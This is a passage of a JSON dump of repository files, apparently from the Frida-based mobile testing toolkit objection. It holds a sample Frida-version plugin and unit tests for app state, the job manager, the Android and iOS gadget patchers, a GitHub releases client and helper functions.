    "content": "__description__ = \"An example plugin, also used in a UnitTest\"\n\nfrom objection.utils.plugin import Plugin\n\ns = \"\"\"\nrpc.exports = {\n    getInformation: function() {\n        console.log('hello from Frida');    // direct output\n        send('Incoming message');           // output via send for 'message' signal\n        return Frida.version;               // return type\n    }\n}\n\"\"\"\n\n\nclass VersionInfo(Plugin):\n    \"\"\" VersionInfo is a sample plugin to get Frida version information \"\"\"\n\n    def __init__(self, ns):\n        \"\"\"\n            Creates a new instance of the plugin\n\n            :param ns:\n        \"\"\"\n\n        self.script_src = s\n        # self.script_path = os.path.join(os.path.dirname(__file__), \"script.js\")\n\n        implementation = {\n            'meta': 'Work with Frida version information',\n            'commands': {\n                'info': {\n                    'meta': 'Get the current Frida version',\n                    'exec': self.version\n                }\n            }\n        }\n\n        super().__init__(__file__, ns, implementation)\n\n        self.inject()\n\n    def version(self, args: list):\n        \"\"\"\n            Tests a plugin by calling an RPC export method\n            called getInformation, and printing the result.\n\n            :param args:\n            :return:\n        \"\"\"\n\n        v = self.api.get_information()\n        print('Frida version: {0}'.format(v))\n\n\nnamespace = 'version'\nplugin = VersionInfo\n"
  },
  {
    "path": "tests/helpers.py",
    "content": "import sys\nfrom contextlib import contextmanager\nfrom io import StringIO\n\n\n# http://schinckel.net/2013/04/15/capture-and-test-sys.stdout-sys.stderr-in-unittest.testcase/\n@contextmanager\ndef capture(command, *args, **kwargs):\n    out, sys.stdout = sys.stdout, StringIO()\n\n    try:\n\n        command(*args, **kwargs)\n        sys.stdout.seek(0)\n        yield sys.stdout.read()\n\n    finally:\n\n        sys.stdout = out\n"
  },
  {
    "path": "tests/state/__init__.py",
    "content": ""
  },
  {
    "path": "tests/state/test_app.py",
    "content": "import unittest\n\nfrom objection.state.app import app_state\n\n\nclass TestApp(unittest.TestCase):\n    def tearDown(self):\n        app_state.debug_hooks = False\n        app_state.successful_commands = []\n\n    def test_app_should_not_debug_hooks_by_default(self):\n        self.assertFalse(app_state.should_debug_hooks())\n\n    def test_app_should_debug_hooks_if_true(self):\n        app_state.debug_hooks = True\n\n        self.assertTrue(app_state.should_debug_hooks())\n\n    def test_adds_command_to_history(self):\n        app_state.add_command_to_history('foo')\n\n        self.assertEqual(len(app_state.successful_commands), 1)\n        self.assertEqual(app_state.successful_commands[0], 'foo')\n\n    def test_clears_command_history(self):\n        app_state.successful_commands = ['foo', 'bar']\n        app_state.clear_command_history()\n\n        self.assertEqual(len(app_state.successful_commands), 0)\n"
  },
  {
    "path": "tests/state/test_jobs.py",
    "content": "import unittest\n\nfrom objection.state.jobs import job_manager_state\n\n\nclass TestJobManager(unittest.TestCase):\n    def tearDown(self):\n        job_manager_state.jobs = []\n\n    def test_job_manager_starts_with_empty_jobs(self):\n        self.assertEqual(len(job_manager_state.jobs), 0)\n\n    def test_adds_jobs(self):\n        job_manager_state.add_job('foo')\n\n        self.assertEqual(len(job_manager_state.jobs), 1)\n\n    def test_removes_jobs(self):\n        job_manager_state.add_job('foo')\n        job_manager_state.add_job('bar')\n\n        job_manager_state.remove_job('foo')\n        job_manager_state.remove_job('bar')\n\n        self.assertEqual(len(job_manager_state.jobs), 0)\n"
  },
  {
    "path": "tests/utils/__init__.py",
    "content": ""
  },
  {
    "path": "tests/utils/patchers/__init__.py",
    "content": ""
  },
  {
    "path": "tests/utils/patchers/test_android.py",
    "content": "import os\nimport unittest\nfrom unittest import mock\n\nfrom objection.utils.patchers.android import AndroidGadget, AndroidPatcher\n\n\nclass TestAndroidGadget(unittest.TestCase):\n    @mock.patch('objection.utils.patchers.android.Github')\n    @mock.patch('objection.utils.patchers.android.os')\n    def setUp(self, github, mock_os):\n        mock_os.path.exists.return_value = True\n\n        self.android_gadget = AndroidGadget(github)\n\n        self.github_get_assets_sample = [\n            {\n                \"url\": \"https://api.github.com/repos/frida/frida/releases/assets/5005221\",\n                \"id\": 5005221,\n                \"name\": \"frida-gadget-10.6.8-android-x86.so.xz\",\n                \"label\": \"\",\n                \"uploader\": {\n                    \"id\": 735197,\n                },\n                \"state\": \"uploaded\",\n                \"size\": 12912624,\n                \"download_count\": 1,\n                \"created_at\": \"2017-10-07T00:01:10Z\",\n                \"updated_at\": \"2017-10-07T00:01:17Z\",\n                \"browser_download_url\": \"https://github.com/frida/frida/releases/download/\"\n                                        \"10.6.8/frida-gadget-10.6.8-android-x86.so.xz\"\n            }\n        ]\n\n    def test_sets_architecture(self):\n        self.android_gadget.set_architecture('x86')\n        self.assertEqual(self.android_gadget.architecture, 'x86')\n\n    def test_raises_exception_with_invalid_architecture(self):\n        with self.assertRaises(Exception) as _:\n            self.android_gadget.set_architecture('foo')\n\n    def test_sets_architecture_and_returns_context(self):\n        result = self.android_gadget.set_architecture('x86')\n        self.assertEqual(type(result), AndroidGadget)\n\n    def test_gets_architecture_when_set(self):\n        self.android_gadget.set_architecture('x86')\n        architecture = self.android_gadget.get_architecture()\n\n        self.assertEqual(architecture, 'x86')\n\n    def test_gets_frida_library_path(self):\n        self.android_gadget.set_architecture('x86')\n\n        frida_path = self.android_gadget.get_frida_library_path()\n        self.assertTrue('.objection/android/x86/libfrida-gadget.so' in frida_path)\n\n    def test_fails_to_get_frida_library_path_without_architecture(self):\n        with self.assertRaises(Exception) as _:\n            self.android_gadget.get_frida_library_path()\n\n    @mock.patch('objection.utils.patchers.android.os')\n    def test_checks_if_gadget_exists_if_it_really_exists(self, mock_os):\n        mock_os.path.exists.return_value = True\n        self.android_gadget.set_architecture('x86')\n\n        status = self.android_gadget.gadget_exists()\n\n        self.assertTrue(status)\n\n    @mock.patch('objection.utils.patchers.android.os')\n    def test_checks_if_gadget_exists_if_it_really_does_not_exist(self, mock_os):\n        mock_os.path.exists.return_value = False\n        self.android_gadget.set_architecture('x86')\n\n        status = self.android_gadget.gadget_exists()\n\n        self.assertFalse(status)\n\n    def test_check_if_gadget_exists_fails_without_architecture(self):\n        with self.assertRaises(Exception) as _:\n            self.android_gadget.gadget_exists()\n\n    def test_can_find_download_url_for_gadget(self):\n        mock_github = mock.MagicMock()\n        mock_github.get_assets.return_value = self.github_get_assets_sample\n\n        self.android_gadget.github = mock_github\n        self.android_gadget.architecture = 'x86'\n\n        # the method we actually testing here!\n        url = self.android_gadget._get_download_url()\n\n        self.assertEqual(url, 'https://github.com/frida/frida/releases/download/'\n                              '10.6.8/frida-gadget-10.6.8-android-x86.so.xz')\n\n    def test_throws_exception_when_download_url_could_not_be_determined(self):\n        mock_github = mock.MagicMock()\n        mock_github.get_assets.return_value = self.github_get_assets_sample\n\n        self.android_gadget.github = mock_github\n        self.android_gadget.architecture = 'arm'\n\n        # the method we actually testing here!\n        with self.assertRaises(Exception) as _:\n            self.android_gadget._get_download_url()\n\n\nclass TestAndroidPatcher(unittest.TestCase):\n    @mock.patch('objection.utils.patchers.android.BasePlatformPatcher.__init__', mock.Mock(return_value=None))\n    @mock.patch('objection.utils.patchers.android.AndroidPatcher.__del__', mock.Mock(return_value=None))\n    @mock.patch('objection.utils.patchers.android.tempfile')\n    def test_inits_patcher(self, tempfile):\n        tempfile.mkdtemp.return_value = '/tmp/test'\n\n        patcher = AndroidPatcher()\n\n        self.assertIsNone(patcher.apk_source)\n        self.assertEqual(patcher.apk_temp_directory, '/tmp/test')\n        self.assertEqual(patcher.apk_temp_frida_patched, '/tmp/test.objection.apk')\n        self.assertFalse(patcher.skip_cleanup)\n        self.assertTrue('objection/utils/patchers/../assets/objection.jks' in patcher.keystore)\n        self.assertTrue(os.path.exists(patcher.keystore))\n\n    @mock.patch('objection.utils.patchers.android.AndroidPatcher.__init__', mock.Mock(return_value=None))\n    @mock.patch('objection.utils.patchers.android.AndroidPatcher.__del__', mock.Mock(return_value=None))\n    @mock.patch('objection.utils.patchers.android.tempfile')\n    @mock.patch('objection.utils.patchers.android.os')\n    def test_set_android_apk_source(self, _, mock_os):\n        mock_os.path.exists.return_value = True\n        patcher = AndroidPatcher()\n\n        source = patcher.set_apk_source('foo.apk')\n\n        self.assertEqual(type(source), AndroidPatcher)\n        self.assertEqual(patcher.apk_source, 'foo.apk')\n"
  },
  {
    "path": "tests/utils/patchers/test_base.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.utils.patchers.base import BasePlatformGadget, BasePlatformPatcher\nfrom ...helpers import capture\n\n\nclass TestBasePlatformGadget(unittest.TestCase):\n    @mock.patch('objection.utils.patchers.base.Github')\n    def setUp(self, mock_github):\n        self.gadget = BasePlatformGadget(github=mock_github)\n\n    @mock.patch('objection.utils.patchers.base.os')\n    def test_sets_version_to_zero_if_no_local_record_is_found(self, mock_os):\n        mock_os.path.exists.return_value = False\n        version = self.gadget.get_local_version('test')\n\n        self.assertEqual(version, '0')\n\n\nclass TestBasePlatformPatcher(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    @mock.patch('objection.utils.patchers.base.BasePlatformPatcher._check_commands', mock.Mock(return_value=True))\n    def test_inits_base_patcher(self):\n        base_patcher = BasePlatformPatcher()\n\n        self.assertTrue(base_patcher.have_all_commands)\n        self.assertEqual(base_patcher.command_run_timeout, 300)\n\n    @mock.patch('objection.utils.patchers.base.BasePlatformPatcher._check_commands', mock.Mock(return_value=True))\n    def test_are_requirements_met_returns_true_if_met(self):\n        base_patcher = BasePlatformPatcher()\n\n        self.assertTrue(base_patcher.are_requirements_met())\n\n    @mock.patch('objection.utils.patchers.base.BasePlatformPatcher._check_commands', mock.Mock(return_value=False))\n    def test_are_requirements_met_returns_false_if_not_met(self):\n        base_patcher = BasePlatformPatcher()\n\n        self.assertFalse(base_patcher.are_requirements_met())\n\n    @mock.patch('objection.utils.patchers.base.BasePlatformPatcher.__init__', mock.Mock(return_value=None))\n    @mock.patch('objection.utils.patchers.base.shutil')\n    def test_check_commands_finds_commands_and_sets_location(self, mock_shutil):\n        mock_shutil.which.return_value = '/bin/test'\n\n        base_patcher = BasePlatformPatcher()\n        base_patcher.required_commands = {\n            'aapt': {\n                'installation': 'apt install aapt (Kali Linux)'\n            }\n        }\n\n        check_result = base_patcher._check_commands()\n\n        self.assertTrue(check_result)\n        self.assertEqual(base_patcher.required_commands['aapt']['location'], '/bin/test')\n\n    @mock.patch('objection.utils.patchers.base.BasePlatformPatcher.__init__', mock.Mock(return_value=None))\n    @mock.patch('objection.utils.patchers.base.shutil')\n    def test_check_commands_fails_to_find_command_and_displays_error(self, mock_shutil):\n        mock_shutil.which.return_value = None\n\n        base_patcher = BasePlatformPatcher()\n        base_patcher.required_commands = {\n            'aapt': {\n                'installation': 'apt install aapt (Kali Linux)'\n            }\n        }\n\n        with capture(base_patcher._check_commands) as o:\n            output = o\n\n        self.assertEqual(output, 'Unable to find aapt. Install it with:'\n                                 ' apt install aapt (Kali Linux) before continuing.\\n')\n"
  },
  {
    "path": "tests/utils/patchers/test_github.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.utils.patchers.github import Github\n\n\nclass TestGithub(unittest.TestCase):\n    def setUp(self):\n        self.github = Github()\n        self.mock_response = {\n            \"tag_name\": \"10.6.9\",\n            \"target_commitish\": \"master\",\n            \"name\": \"Frida 10.6.9\",\n            \"created_at\": \"2017-10-09T23:52:02Z\",\n            \"published_at\": \"2017-10-10T00:02:48Z\",\n            \"assets\": [\n                {\n                    \"url\": \"https://api.github.com/repos/frida/frida/releases/assets/5024320\",\n                    \"name\": \"frida-core-devkit-10.6.9-android-arm.tar.xz\",\n                    \"label\": \"\",\n                    \"updated_at\": \"2017-10-10T00:13:36Z\",\n                    \"browser_download_url\": \"https://github.com/frida/frida/releases/download/\"\n                                            \"10.6.9/frida-core-devkit-10.6.9-android-arm.tar.xz\"\n                },\n            ],\n            \"tarball_url\": \"https://api.github.com/repos/frida/frida/tarball/10.6.9\",\n            \"zipball_url\": \"https://api.github.com/repos/frida/frida/zipball/10.6.9\",\n            \"body\": \"See http://www.frida.re/news/ for details.\"\n        }\n\n    @mock.patch('objection.utils.patchers.github.requests')\n    def test_makes_call_and_stores_result_in_cache(self, mock_requests):\n        mock_response = mock.Mock()\n        mock_response.status_code = 200\n        mock_response.json.return_value = self.mock_response\n\n        mock_requests.get.return_value = mock_response\n\n        result = self.github._call('/test')\n\n        self.assertEqual(result, self.mock_response)\n        self.assertEqual(len(self.github.request_cache), 1)\n\n    @mock.patch('objection.utils.patchers.github.requests')\n    def test_makes_call_and_stores_result_in_cache_and_fetches_next_from_cache(self, mock_requests):\n        mock_response = mock.Mock()\n        mock_response.status_code = 200\n        mock_response.json.return_value = self.mock_response\n\n        mock_requests.get.return_value = mock_response\n\n        self.github._call('/test')\n\n        # entry is now stored in cache, update the next response object\n        # and make the request again.\n        mock_response = mock.Mock()\n        mock_response.status_code = 200\n        mock_response.json.return_value = {'other'}\n\n        mock_requests.get.return_value = mock_response\n\n        result = self.github._call('/test')\n\n        self.assertEqual(result, self.mock_response)\n\n    @mock.patch('objection.utils.patchers.github.requests')\n    def test_makes_call_and_gets_latest_version(self, mock_requests):\n        mock_response = mock.Mock()\n        mock_response.status_code = 200\n        mock_response.json.return_value = self.mock_response\n\n        mock_requests.get.return_value = mock_response\n\n        result = self.github.get_latest_version()\n\n        self.assertEqual(result, self.mock_response['tag_name'])\n\n    @mock.patch('objection.utils.patchers.github.requests')\n    def test_makes_call_and_fails_to_get_assets(self, mock_requests):\n        mock_response = mock.Mock()\n        mock_response.status_code = 404\n        mock_response.json.return_value = {}\n\n        mock_requests.get.return_value = mock_response\n\n        with self.assertRaises(Exception) as _:\n            self.github.get_assets()\n\n    @mock.patch('objection.utils.patchers.github.requests')\n    def test_makes_call_and_gets_assets(self, mock_requests):\n        mock_response = mock.Mock()\n        mock_response.status_code = 200\n        mock_response.json.return_value = self.mock_response\n\n        mock_requests.get.return_value = mock_response\n\n        result = self.github.get_assets()\n\n        self.assertEqual(result, self.mock_response['assets'])\n"
  },
  {
    "path": "tests/utils/patchers/test_ios.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.utils.patchers.ios import IosGadget, IosPatcher\n\n\nclass TestIosGadget(unittest.TestCase):\n    @mock.patch('objection.utils.patchers.ios.Github')\n    @mock.patch('objection.utils.patchers.android.os')\n    def setUp(self, mock_github, mock_os):\n        mock_os.path.exists.return_value = True\n\n        self.ios_gadget = IosGadget(github=mock_github)\n\n        self.github_get_assets_sample = [\n            {\n                \"url\": \"https://api.github.com/repos/frida/frida/releases/assets/5005221\",\n                \"id\": 5005221,\n                \"name\": \"frida-gadget-10.6.8-ios-universal.dylib.xz\",\n                \"label\": \"\",\n                \"uploader\": {\n                    \"id\": 735197,\n                },\n                \"state\": \"uploaded\",\n                \"size\": 12912624,\n                \"download_count\": 1,\n                \"created_at\": \"2017-10-07T00:01:10Z\",\n                \"updated_at\": \"2017-10-07T00:01:17Z\",\n                \"browser_download_url\": \"https://github.com/frida/frida/releases/download/\"\n                                        \"frida-gadget-10.6.8-ios-universal.dylib.xz\"\n            }\n        ]\n\n    def test_gets_gadget_path(self):\n        self.ios_gadget.ios_dylib_gadget_path = '/tmp/foo'\n\n        result = self.ios_gadget.get_gadget_path()\n\n        self.assertEqual(result, '/tmp/foo')\n\n    @mock.patch('objection.utils.patchers.ios.os')\n    def test_checks_if_gadget_exists(self, mock_os):\n        mock_os.path.exists.return_value = True\n\n        result = self.ios_gadget.gadget_exists()\n\n        self.assertTrue(result)\n\n    def test_can_find_asset_download_url(self):\n        mock_github = mock.MagicMock()\n        mock_github.get_assets.return_value = self.github_get_assets_sample\n\n        self.ios_gadget.github = mock_github\n\n        result = self.ios_gadget._get_download_url()\n\n        self.assertEqual(result, 'https://github.com/frida/frida/releases/download/'\n                                 'frida-gadget-10.6.8-ios-universal.dylib.xz')\n\n\nclass TestIosPatcher(unittest.TestCase):\n    @mock.patch('objection.utils.patchers.ios.IosPatcher.__init__', mock.Mock(return_value=None))\n    @mock.patch('objection.utils.patchers.ios.IosPatcher.__del__', mock.Mock(return_value=None))\n    @mock.patch('objection.utils.patchers.ios.click.secho', mock.Mock(return_value=None))\n    def test_sets_provisioning_profile(self):\n        patcher = IosPatcher()\n        patcher.set_provsioning_profile('profile.mobileprovision', 'com.foo.bar')\n\n        self.assertEqual(patcher.provision_file, 'profile.mobileprovision')\n"
  },
  {
    "path": "tests/utils/test_helpers.py",
    "content": "import unittest\n\nfrom objection.state.device import device_state, Ios\nfrom objection.utils.helpers import clean_argument_flags\nfrom objection.utils.helpers import get_tokens\nfrom objection.utils.helpers import pretty_concat\nfrom objection.utils.helpers import print_frida_connection_help\nfrom objection.utils.helpers import sizeof_fmt\nfrom objection.utils.helpers import warn_about_older_operating_systems\nfrom ..helpers import capture\n\n\nclass TestHelpers(unittest.TestCase):\n    def test_pretty_concat_with_less_than_seventy_five_chars(self):\n        result = pretty_concat('test')\n\n        self.assertEqual(result, 'test')\n\n    def test_pretty_concat_with_more_than_max_chars(self):\n        result = pretty_concat('testing', 5)\n\n        self.assertEqual(result, 'testi...')\n\n    def test_pretty_concat_with_more_than_max_chars_to_the_left(self):\n        result = pretty_concat('testing', 5, left=True)\n\n        self.assertEqual(result, '...sting')\n\n    def test_sizeof_formats_values(self):\n        result = sizeof_fmt(3000)\n\n        self.assertEqual(result, '2.9 KiB')\n\n    def test_gets_tokens_without_quotes(self):\n        result = get_tokens('this is a test')\n\n        self.assertEqual(result, ['this', 'is', 'a', 'test'])\n\n    def test_gets_tokens_with_quotes(self):\n        result = get_tokens('this is \"a test\"')\n\n        self.assertEqual(result, ['this', 'is', 'a test'])\n\n    def test_gets_tokens_and_handles_missing_quotes(self):\n        result = get_tokens('this is \"a test')\n\n        self.assertEqual(result, ['lajfhlaksjdfhlaskjfhafsdlkjh'])\n\n    def test_cleans_argument_lists_with_flags(self):\n        result = clean_argument_flags(['foo', '--bar'])\n        self.assertEqual(result, ['foo'])\n\n    def test_prints_frida_connection_help(self):\n        with capture(print_frida_connection_help) as o:\n            output = o\n\n        expected_output = \"\"\"If you are using a rooted/jailbroken device, specify a process with the --gadget flag. Eg: objection --gadget \"Calendar\" explore\nIf you are using a non rooted/jailbroken device, ensure that your patched application is running and in the foreground.\n\nIf you have multiple devices, specify the target device with --serial. A list of attached device serials can be found with the frida-ls-devices command.\n\nFor more information, please refer to the objection wiki at: https://github.com/sensepost/objection/wiki\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n"
  }
]